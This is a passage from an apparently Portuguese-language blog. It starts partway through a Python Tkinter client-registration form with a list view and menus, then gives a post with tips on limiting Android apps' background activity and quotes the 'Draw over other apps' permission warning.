        self.bt_alterar.place(relx= 0.7, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.bt_apagar = Button(self.frame_1, text= 'Apagar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', activebackground= '#bcc8d8', activeforeground='green', font = ('times', 10, 'bold'), command= self.deleta_cliente)
        self.bt_apagar.place(relx= 0.8, rely= 0.1, relwidth= 0.1, relheight= 0.15)

        self.lb_codigo = Label(self.frame_1, text= 'Codigo', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_codigo.place(relx= 0.05, rely= 0.05)
        self.codigo_entry = Entry(self.frame_1, fg= '#024c2c')
        self.codigo_entry.place(relx= 0.05, rely= 0.15, relwidth= 0.08)

        self.lb_nome = Label(self.frame_1, text= 'Nome', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_nome.place(relx= 0.05, rely= 0.35)
        self.nome_entry = Entry(self.frame_1, fg= '#024c2c')
        self.nome_entry.place(relx= 0.05, rely= 0.45, relwidth= 0.8)

        self.lb_fone = Label(self.frame_1, text= 'Telefone', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_fone.place(relx= 0.05, rely= 0.6)
        self.fone_entry = Entry(self.frame_1, fg= '#024c2c')
        self.fone_entry.place(relx= 0.05, rely= 0.7, relwidth= 0.3)

        self.lb_cidade = Label(self.frame_1, text= 'Cidade', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_cidade.place(relx= 0.4, rely= 0.6)
        self.cidade_entry = Entry(self.frame_1, fg= '#024c2c')
        self.cidade_entry.place(relx= 0.4, rely= 0.7, relwidth= 0.5)
    def lista_frame2(self):
        self.listaCli = ttk.Treeview(self.frame_2, height= 3, column=('col1, col2, col3, col4'))
        self.listaCli.heading('#0', text= '')
        self.listaCli.heading('#1', text= 'Codigo')
        self.listaCli.heading('#2', text= 'Nome')
        self.listaCli.heading('#3', text= 'Telefone')
        self.listaCli.heading('#4', text= 'Cidade')
        self.listaCli.column('#0', width=1)
        self.listaCli.column('#1', width=50)
        self.listaCli.column('#2', width=200)
        self.listaCli.column('#3', width=125)
        self.listaCli.column('#4', width=125)
        self.listaCli.place(relx=0.01, rely=0.1, relwidth=0.95, relheight=0.85)
        self.scroolLista = Scrollbar(self.frame_2, orient='vertical')
        self.listaCli.configure(yscroll=self.scroolLista.set)
        self.scroolLista.place(relx=0.96, rely=0.1, relwidth=0.04, relheight=0.85)
        self.listaCli.bind("<Double-1>", self.OnDoubleClick)
    def Menus(self):
        menubar = Menu(self.root)
        self.root.config(menu=menubar)
        filemenu = Menu(menubar)
        filemenu2 = Menu(menubar)
        def Quit(): self.root.destroy()
        menubar.add_cascade(label="Opções", menu= filemenu)
        menubar.add_cascade(label="Sobre", menu= filemenu2)
        filemenu.add_command(label="Sair", command= Quit)
        filemenu2.add_command(label="Limpa Cliente", command= self.limpa_cliente)
        filemenu2.add_command(label="Ficha do Cliente", command= self.geraRelatCliente)
Application()

domingo, 28 de fevereiro de 2021

Dica: Limitar apps no Android para não deixar abertos em segundo plano , economizar bateria e internet ou nao acessar o app enquanto nao estiver aberto

Limitar apps no Android para não deixar abertos em segundo plano (abertos apenas quando abertos na tela), economizar bateria e internet ou para o app não acessar a internet enquanto não estiver aberto, eu busquei pela ultima opção porque o Facebook e Messenger ficavam online e os constantes sons de notificação estavam me atrapalhando em outras atividades, muito.

Entre nas configurações, depois aplicativos, selecione o app, desative "Permitir atividade em segundo plano", também desativei as notificações.

Meu aparelho esta em inglês:

Draw over others apps
This permission allows an app to display on top of other apps you’re using and may interfere with your use of the interface in other applications, or change what you think you are seeing in other applications.


Desenhar sobre outros aplicativos
 Esta permissão permite que um aplicativo seja exibido em cima de outros aplicativos que você está usando e pode interferir no uso da interface em outros aplicativos ou alterar o que você acha que está vendo em outros aplicativos.